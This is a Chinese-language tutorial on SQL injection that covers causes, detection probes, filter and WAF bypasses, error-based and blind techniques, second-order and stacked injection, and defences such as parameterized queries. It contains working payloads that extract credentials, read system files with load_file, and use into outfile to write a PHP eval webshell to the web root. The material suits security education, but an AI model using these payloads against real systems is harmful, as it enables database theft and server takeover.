SQL注入详细

SQL是什么？

结构化查询语⾔（Structured Query Language ,SQL），是⼀种特殊的编程语⾔，⽤于数据库的标准数据查询。1986 年10 ⽉美国国家标准协会对SQL 进⾏了规范后，以此作为关系型数据库系统的标准语⾔。1987 年得到了国际标准组织的⽀持，成为了国际标准。

什么是SQL注入

SQL注入是服务端未严格校验客户端发送的数据，而导致服务端SQL语句被恶意修改并成功执行的行为

漏洞原理

SQL 注⼊的攻击⾏为可以描述为通过⽤户可控参数中注⼊SQL 语法，破坏原有SQL 结构，达到编写程序时意料之外结果的攻击⾏为。其成因可以归结为以下两个原因叠加造成的。

• 程序员在处理程序和数据库交互时，使⽤字符串拼接的⽅式构造SQL 语句
• 未对⽤户可控参数进⾏⾜够的过滤，便将参数内容拼接到SQL 语句中

漏洞原因

• 用户能够控制输入
• 是对于输入检查不充分，导致SQL语句将用户提交的非法数据当作语句的一部分来执行

为什么会有SQL注入

• 代码对带入SQL语句的参数过滤不严格
• 未启用框架的安全配置，例如：PHP的magic_quotes_gpc
• 未使用框架安全的查询方法
• 测试接口没有删除
• 未启用防火墙
• 未使用其他的安全防护设备

注⼊点可能存在的位置

根据SQL 注⼊漏洞的原理，⽤户“可控参数”中注⼊SQL 与发，也就是说Web 应⽤获取⽤户输⼊的地⽅，只要带⼊数据库查询，都有存在SQL 注⼊的可能，这些地⽅通常包括：

• GET 数据
• POST 数据
• Cookie 数据
• HTTP 头部（HTTP 头部中的其他字段）

漏洞危害

1. 数据库信息泄漏、获取、修改敏感数据：数据库中存放的用户的隐私信息（帐号、密码）的泄露
2. 绕过登录验证：使用万能密码登录网站后台等
3. 文件系统操作：列目录，读取、写入文件等
4. 网页篡改：通过操作数据库对特定网页进行篡改，嵌入网马链接，进行挂马攻击
5. 注册表操作：读取、写入、删除注册表等
6. 执行系统命令：远程执行命令
7. 服务器被远程控制、种植木马：黑客可以修改或控制操作系统

提交方法

提交方法有：get、post、cookie、request等
其中：request支持度较好，你把参数以get方式、post方式、cookie方式提交都是可以的

判断注入点

会在疑似注⼊点的地⽅或者参数后⾯尝试提交数据，从而进⾏判断是否存在SQL 注⼊漏洞。

测试数据	测试判断	攻击思路
-1或 1	是否能够回显上⼀个或者下⼀个页面（判断是否有回显）	联合注入
'或"	是否显示数据库错误信息；回显的页面是否不同（字符型还是数字型）	报错注入
and 1=1 或者 and 1=2	回显的页面是否不同（判断页面是否有布尔类型的状态）	布尔盲注
and sleep(5)	判断页面的返回时间	延时注入
\	判断转义

注意：如果你对着一个网站测试的时候，出现404，或者页面跳转，说明网站有防护

判断字符型还是数字型

如下图，一般来说，id之类的参数后面跟的是数字型（也有可能是字符型），别的参数后面跟的是字符型

sql注入绕过

1. 大小写绕过
2. 双写关键字绕过
3. 特殊编码绕过

如果有些字符串确实被限制的很严格，我们可以尝试一些编码绕过。
如URLEncode编码，ASCII、HEX、unicode编码绕过：

• or 1=1即or 1=1，
• Test也可以为CHAR(101) CHAR(97) CHAR(115) CHAR(116)

4. 空格过滤绕过
5. 过滤函数绕过

• sleep() ——> benchmark()
• substr()、substring()、mid()可以相互替换
• user() ——> @@user() 、datadir ——> @@datadir
• ord() ——> ascii() ：这两个函数在处理英文时效果一样，但处理中文时效果不一样
• ascii ——> hex()、bin()：替代之后再使用对应的进制转string即可
• group_concat() ——> concat_ws()

6. 内联注释绕过/*!...*/

在MySQL里，/**/是多行注释，这个是SQL的标准，但是MySQL扩张了解释的功能，如果在开头的的/*后头加了感叹号/*!50001sleep(3)*/，那么此注释里的语句将被执行。

/*!50001 select * from test */;这里的50001表示假如 数据库是5.00.01以上版本，该语句才会被执行，对于有些waf我们可以通过这种方式进行绕过。

获取网站路径

路径常见获取方法：

1. 报错显示

2. 遗留文件

别用百度，用谷歌搜索inurl:phpinfo.php

漏洞报错、平台配置文件、爆破等

SQL 注入读写文件

可以利用SQL 注入漏洞进行文件读写。
利用的前提条件：

1. 数据库支持文件读写

这里涉及到1个变量secure_file_priv，该参数在高版本的 mysql 数据库中限制了文件的导入导出操作。若要配置此参数，需要修改 my.ini 配置文件，并重启 mysql 服务【其在Phpstudy中默认是NULL，不允许读写文件】

参数	含义
secure_file_priv=NULL	限制mysqld 不允许导入导出操作
secure_file_priv=‘c:/a/’	会限制mysqld 的导入导出操作在某个固定目录下，并且子目录有效
secure_file_priv=	不对mysqld 的导入导出操作做限制

修改配置文件，对读写不做限制，文件路径C:\phpStudy\MySQL\my.ini，该操作比较敏感，需要在mysql的配置文件中操作，在phpmyadmin网页中不能修改

2. 当前用户具有文件权限

1. 获知当前用户和主机名

?id=-1'union select 1,current_user(),3 -- 

2. 查看有无权限

?id=-1' union select 1,File_priv,3 from mysql.user where user="root" and host="localhost"-- 

方法2：

select File_priv from mysql.user where user="root" and host="localhost";

3. 知道文件绝对路径

1. 读取文件，使用 load_file

下面两种方法一样

?id=1' and 1=2 union select 1,load_file('c:\\windows\\system32\\drivers\\etc\\hosts'),3 -- 
?id=1' and 1=2 union select 1,load_file('c:/windows/system32/drivers/etc/hosts'),3 -- 

2. 写入文件，使用 into_outfile

写phpinfo，没有报错就说明写入成功，可以直接访问写入的文件地址

# 1. 直接写
?id=-1' union select 1,'<?php phpinfo();?>',3 into outfile 'c:\\phpstudy\\www\\hack.php'-- 
# 2. 改写成16进制
?id=1' and 1=2 union select 1,0x3c3f70687020706870696e666f28293b3f3e,3 into outfile 'c:/phpstudy/www/hack.php' -- 

写一句话木马

# 1. 直接写
?id=1' and 1=2 union select 1,'<?=@eval($_REQUEST[404])?>',3 into outfile 'c:/phpstudy/www/hack1.php' -- 

# 2. 改写成16进制
?id=1' and 1=2 union select 1,0x3c3f3d406576616c28245f524551554553545b3430345d293f3e,3 into outfile 'c:/phpstudy/www/hack1.php' -- 

查询方式及报错盲注⭐

在进行SQL注入时，有很多注入会出现无回显的情况，其中不回显的原因可能是SQL语句查询方式的问题导致，这个时候我们需要用到相关的报错或盲注进行后续操作，同时作为手工注入，提前了解或预知其SQL语句的大概写法也能更好的选择对应的注入语句。

更详细的介绍，请参见下一篇文章 《SQL注入的常见方式》

查询方式

重点理解：我们可以通过下面的查询方式和网站应用的关系、注入点产生地方、应用猜测到对方的SQL查询方式
查询方法举例说明

1. select：查询数据在网站应用中进行数据显示查询操作

举例：select * from news where id=$id

2. insert：插入数据在网站应用中进行用户注册添加等操作

举例：insert into news(id,url,text) values(2,'x','$t')

3. delete：删除数据后台管理里面删除文章删除用户等操作

举例：delete from news where id=$id

4. update更新数据会员或后台中心数据同步或缓存等操作

举例：update user set pwd='$p' where id=2 and username='admin'

5. order by排序数据一般结合表名或列名进行数据排序操作

举例：select * from news order by $id
举例：select id,name,price from news order by $order

报错盲注

盲注就是在注入过程中，获取的数据不能回显至前端页面。此时，我们需要利用一些方法进行判断或者尝试。
这个过程称之为盲注。我们可以知道盲注分为以下三类：

1. 基于布尔的SQL盲注-逻辑判断（不回显）
   regexp，like，ascii，left，ord，mid

2. 基于时间的SQ盲注-延时判断（不回显）
   if，sleep

3. 基于报错的SQL盲注-(强制)报错回显
   floor，updatexml，extractvalue

报错模板：https://www.swvq.com/p/bc35f8dd4f7c

报错注入函数

1. floor()

• floor(x)，返回小于或等于x的最大整数。
• payload：select conut(*),(concat(database(),rand(0)*2))x from infromation_schema.tables group by x;
• x表示concat(database(),rand(0)*2)，rand(0)以0为随机种子产生0-1之间的随机数，*2产生0-2之间的随机数。
• 报错原因：主键重复，必需：count()、rand()、group by
• 分析链接：https://xz.aliyun.com/t/253#toc-2

2. exp()

• exp(x)返回e^x。
• 当x的值足够大的时候就会导致函数的结果数据类型溢出，也就会因此报错
• payload：id =1 and EXP(~(SELECT * from(select user())a))

3. updatexml()

利用的就是mysql函数参数格式错误进行报错注入。

updatexml()函数语法：updatexml(XML_document,Xpath_string,new_value);

• 函数语法解析：
• XML_document:是字符串String格式，为XML文档对象名称
• Xpath_string:Xpath格式的字符串
• new_value:string格式，替换查找到的符合条件的数据

适用版本是：5.1.5

利用方式：在执行两个函数时，如果出现xml文件路径错误，就会产生报错 那么我们就需要构造Xpath_string格式错误，也就是我们将Xpath_string的值传递成不符合格式的参数，mysql就会报错

4. extractvalue()

利用的原理是xpath格式不符报错注入。

函数语法:extractvalue(XML_document,XPath_string)
适用的版本：5.1.5

1. 获取当前是数据库名称及使用mysql数据库的版本信息：
and extractvalue(1,concat(0x7e,database(),0x7e,version(),0x7e))

2. 获取当前注入点的用户权限信息及操作系统版本信息：
and extractvalue(1,concat(0x7e,@@version_compile_os,0x7e,user(),0x7e))

3. 获取当前位置所用数据库的位置：
and extractvalue(1,concat(0x7e,@@datadir,0x7e))

4. 获取数据表信息:
and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e))

5. 获取users数据表的列名信息:
and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e))

6. 获取对应的列名的信息(username\password):
and extractvalue(1,concat(0x7e,(select username from users limit 0,1),0x7e))

二次注入

二次注入漏洞是一种在Web应用程序中广泛存在的安全漏洞形式。相对于一次注入漏洞而言，二次注入漏洞更难以被发现，但是它却具有与一次注入攻击漏洞相同的攻击威力。

原理

二次注入的原理：在第一次进行数据库插入数据的时候，仅仅只是使用了 addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义，但是addslashes有一个特点就是虽然参数在过滤后会添加\进行转义，但是\并不会插入到数据库中，在写入数据库的时候还是保留了原来的数据。

在将数据存入到了数据库中之后，开发者就认为数据是可信的。在下一次进行需要进行查询的时候，直接从数据库中取出了脏数据，没有进行进一步的检验和处理，这样就会造成SQL的二次注入。比如在第一次插入数据的时候，数据中带有单引号，直接插入到了数据库中；然后在下一次使用中在拼凑的过程中，就形成了二次注入。

实施步骤

1. 插入恶意数据

第一次进行数据库插入数据的时候，仅仅对其中的特殊字符进行了转义，在写入数据库的时候还是保留了原来的数据，但是数据本身包含恶意内容

2. 引用恶意数据

举例

这里使用的是sql-libs靶场的第24关

1. 首先看一下最开始的时候，靶机的数据库是什么样子的，这里以其中的用户dhakkan来演示

2. 注册一个新用户

3. 注册了一个新用户之后的数据库如下
   

4. 新用户登录，并重置密码

5. 查看数据库，有意思的事情发生了，dhakkan的密码改变了，但是新用户的密码没有改变

6. 在第24关的源代码中，可以看到原因，如下图

堆叠查询

堆叠注入（Stacked injections），从名词的含义就可以看到应该是一堆sql语句（多条）一起执行。而在真实的运用中也是这样的，我们知道在mysql中，主要是命令行中，每一条语句结尾加 ; 表示语句结束。这样我们就想到了是不是可以多句一起使用。于是出现了堆叠注入（又称堆叠查询）

注意事项：
堆叠注入的使用条件十分有限，其可能受到API或者数据库引擎，又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用，利用mysqli_multi_query()函数就支持多条sql语句同时执行，但实际情况中，如PHP为了防止sql注入机制，往往使用调用数据库的函数是mysqli_ query()函数，其只能执行一条语句，分号后面的内容将不会被执行，所以可以说堆叠注入的使用条件十分有限，一旦能够被使用，将可能对网站造成十分大的威胁

DNSlog

DNSlog 就是存储在 DNS Server 上的域名信息，它记录着用户对域名 www.baidu.com 等的访问信息，类似日志文件。更多操作参见浅析DNSlog在渗透测试中的实战技巧

脑图

常见数据库，及注入相关⭐

注释符、数据库端口

	MySQL	SQLServer	Oracle	PostgreSQL	Access
单行注释	#	--	--	--	无
多行注释	/**/	/**/	/**/	/**/	无
数据库端口	3306	1433	1521	5432	属于文件型数据库，所以不需要端口号

数据库文件后缀名

• MySQL：数据文件：.myd 、索引文件：.MYI 、表定义文件：.frm
• SQLServer：.mdf
• Oracle：.dbf 和 .ora
• PostgreSQL：无后缀名
• Access：Office 2007之前是 .mdb ，Office 2007及之后是.accdb

特有的数据库

• MySQL： information_schema（Mysql5.0以上的版本）
• SQLServer：sysobjects
• Oracle：dual
• PostgreSQL：
• Access：msysobjects

查看当前用户或权限

1. MySQL

查询当前用户
select user();
select substring_index(user(), '@', 1) ;
查询当前用户的权限
select * from mysql.user where user = substring_index(user(), '@', 1) ;

2. SQLServer

判断是否是SA权限select is_srvrolemember('sysadmin')     判断是否是db_owner权限  
select is_member('db_owner')判断是否是public权限select is_srvrolemember('public')

3. Oracle

查看当前用户select * from user_users;查看当前用户拥有的角色     
select * from session_roles;查看当前用户拥有的权限select * from session_privs;

4. PostgreSQL

select user                       #查看用户select current_user               #查看当前用户

5. ACCESS

Access数据库是文件类型数据库，没有用户和权限的概念

ASCII转换函数

1. MySQL：select char(97)

2. SQLServer：select char(97)
   

3. Oracle：select chr(97) from dual

4. **PostgreSQL：select chr(97) **

5. **Access：select chr(97) **

select chr(97)&chr(100)&chr(109)&chr(105)&chr(110)

不同数据库注入结果的区别⭐

1. mssql

2. MySQL

3. oracle

Sql注入中连接字符串常用函数

concat()函数

不使用字符串连接函数时：

但是这里存在的一个问题是，当使用union联合注入时，我们都知道，联合注入要求前后两个选择的列数要相同，这里id，username是两个列，当我们要一个列的时候，（当然不排除你先爆出id，再爆出username，分两次的做法）该怎么办？答案就是concat()

concat()语法及使用特点：CONCAT(str1,str2,…)
返回结果为连接参数产生的字符串。如有任何一个参数为NULL ，则返回值为 NULL。可以有一个或多个参数。
示例如下：

concat_ws 函数

使用方法：CONCAT_WS(separator,str1,str2,...)

CONCAT_WS()代表 CONCAT With Separator ，是CONCAT()的特殊形式。第一个参数是其它参数的分隔符。分隔符的位置放在要连接的两个字符串之间。分隔符可以是一个字符串，也可以是其它参数。

注意：如果分隔符为 NULL，则结果为 NULL。函数会忽略任何分隔符参数后的 NULL 值。
这里以逗号分隔符为例，演示一下

group_concat 函数

基本查询

mysql> select * from aa;
 ------ ------ 
| id| name |
 ------ ------ 
|1 | 10|
|1 | 20|
|1 | 20|
|2 | 20|
|3 | 200   |
|3 | 500   |
 ------ ------ 
6 rows in set (0.00 sec)

以id分组，把name字段的值打印在一行，逗号分隔(默认)

mysql> select id,group_concat(name) from aa group by id;
 ------ -------------------- 
| id| group_concat(name) |
 ------ -------------------- 
|1 | 10,20,20|
|2 | 20 |
|3 | 200,500|
 ------ -------------------- 
3 rows in set (0.00 sec)

以id分组，把name字段的值打印在一行，分号分隔

mysql> select id,group_concat(name separator ';') from aa group by id;
 ------ ---------------------------------- 
| id| group_concat(name separator ';') |
 ------ ---------------------------------- 
|1 | 10;20;20 |
|2 | 20|
|3 | 200;500   |
 ------ ---------------------------------- 
3 rows in set (0.00 sec)

以id分组，把去冗余的name字段的值打印在一行，
逗号分隔

mysql> select id,group_concat(distinct name) from aa group by id;
 ------ ----------------------------- 
| id| group_concat(distinct name) |
 ------ ----------------------------- 
|1 | 10,20|
|2 | 20   |
|3 | 200,500 |
 ------ ----------------------------- 
3 rows in set (0.00 sec)

以id分组，把name字段的值打印在一行，逗号分隔，以name排倒序

mysql> select id,group_concat(name order by name desc) from aa group by id;
 ------ --------------------------------------- 
| id| group_concat(name order by name desc) |
 ------ --------------------------------------- 
|1 | 20,20,10   |
|2 | 20|
|3 | 500,200|
 ------ --------------------------------------- 
3 rows in set (0.00 sec)

补充知识—数据库结构

数据库结构：数据库 —> 表名 —> 列名 —> 数据
演示如下：

1. 查看MySQL数据库中，包含了哪些数据库

show database;

2. 查看数据库中有哪些表

use dvwa;	# 选中dvwa数据库
show tables;	# 查看dvwa数据库中有哪些表

3. 查询表中的内容
   1. 查看user表中的全部内容：select * from user;
   2. 以列的形式查看user表中的全部内容：select *from user\G;
   3. 查看表中的部分内容：select user,password from user;

补充知识—关于SQL的一些常识

注释

减减空格	"-- "	"– "	“– ”
#	“#”	"#"
内联注释	/* 被注释掉的内容 */

点

数据库中，符号.代表下一级，如dvwa.user表示dvwa数据库下的user表

常用语句和函数

推荐阅读：SQL注入必备知识初级
1：mysql -uroot -proot登录数据库
2：show databases; 查看有哪些数据库
3：use informatin_schema; 使用某数据库
4：limit的用法

• limit的使用格式是limit m，n
• 其中m是指记录开始的位置，从0开始表示第一条记录
• n是指提取n条记录

5：select 函数名; 查询某内容
函数名有以下：

防御措施

防御SQL注入的核心思想是对用户输入的数据进行严格的检查，并且对数据库的使用采用最小权限分配原则。目前SQL注入的防御手段有以下几种：

代码层

1. 内置过滤系统（本质是黑名单，很常见但是不推荐）
2. 采用参数化查询&预编译（推荐）

强迫使用参数化语句。参数化的语句使用参数而不是将用户输入变量嵌入到SQL语句中。采用这种措施，可以杜绝大部分的SQL注入式攻击

3. 采用框架的安全写法

例如Mybatis中使用#可以防止SQL注入，$并不能防止SQL注入
thinkphp使用数组方式将自动使用框架自带的字段类型检测防止注入、PDO驱动参数绑定、预处理等

Thinkphp框架的安全写法

安全的替换写法
$data=M('Member')->where(array('id'=>$_GET['id']))->find();//使用数组方式将自动使用框架自带的字段类型检测防止注入
$data=M('Member')->where(array('id'=>(int)$_GET['id']))->find();//类型约束
$data=M('Member')->where('id='.intval($_GET['id']))->find();//类型转换
$data=M('Member')->where(array('id'=>I('get.id','','intval')))->find();//$data=M('Member')- >where(array('id'=>':id'))->bind(':id',I('get.id'))->select();//PDO驱动可以使用参数绑定
$data=M('Member')->where("id=%d",array($_GET['id']))->find();//预处理机制       

//不安全的写法举例
$_GET['id']=8;//希望得到的是正整数
$data=M()->query('SELECT * FROM `member` WHERE  id='.$_GET['id']);//执行的SQL语句
$_GET['id']='8  UNION SELECT * FROM `member`';;//隐患:构造畸形语句进行注入;

数据库加固

主要包括：

1. 最小权限原则，禁止将任何高权限帐户（例如sa、dba、root等）用于应用程序数据库访问。更安全的方法是单独为应用创建有限访问帐户。
2. 禁用敏感函数拒绝用户访问敏感的系统存储过程，如xp_dirtree、xp_cmdshell、into_outfile 等
3. 网站与数据层的编码统一，建议全部使用UTF-8编码，避免因上下层编码不一致导致一些过滤模型被绕过，比如宽字节注入等。
4. 限制用户所能够访问的数据库表

其他

例如，避免网站显示SQL执行出错信息，防止攻击者使用基于错误的方式进行注入；每个数据层编码统一，防止过滤模型被绕过等。使用WAF。

这篇好文章是转载于：学新通技术网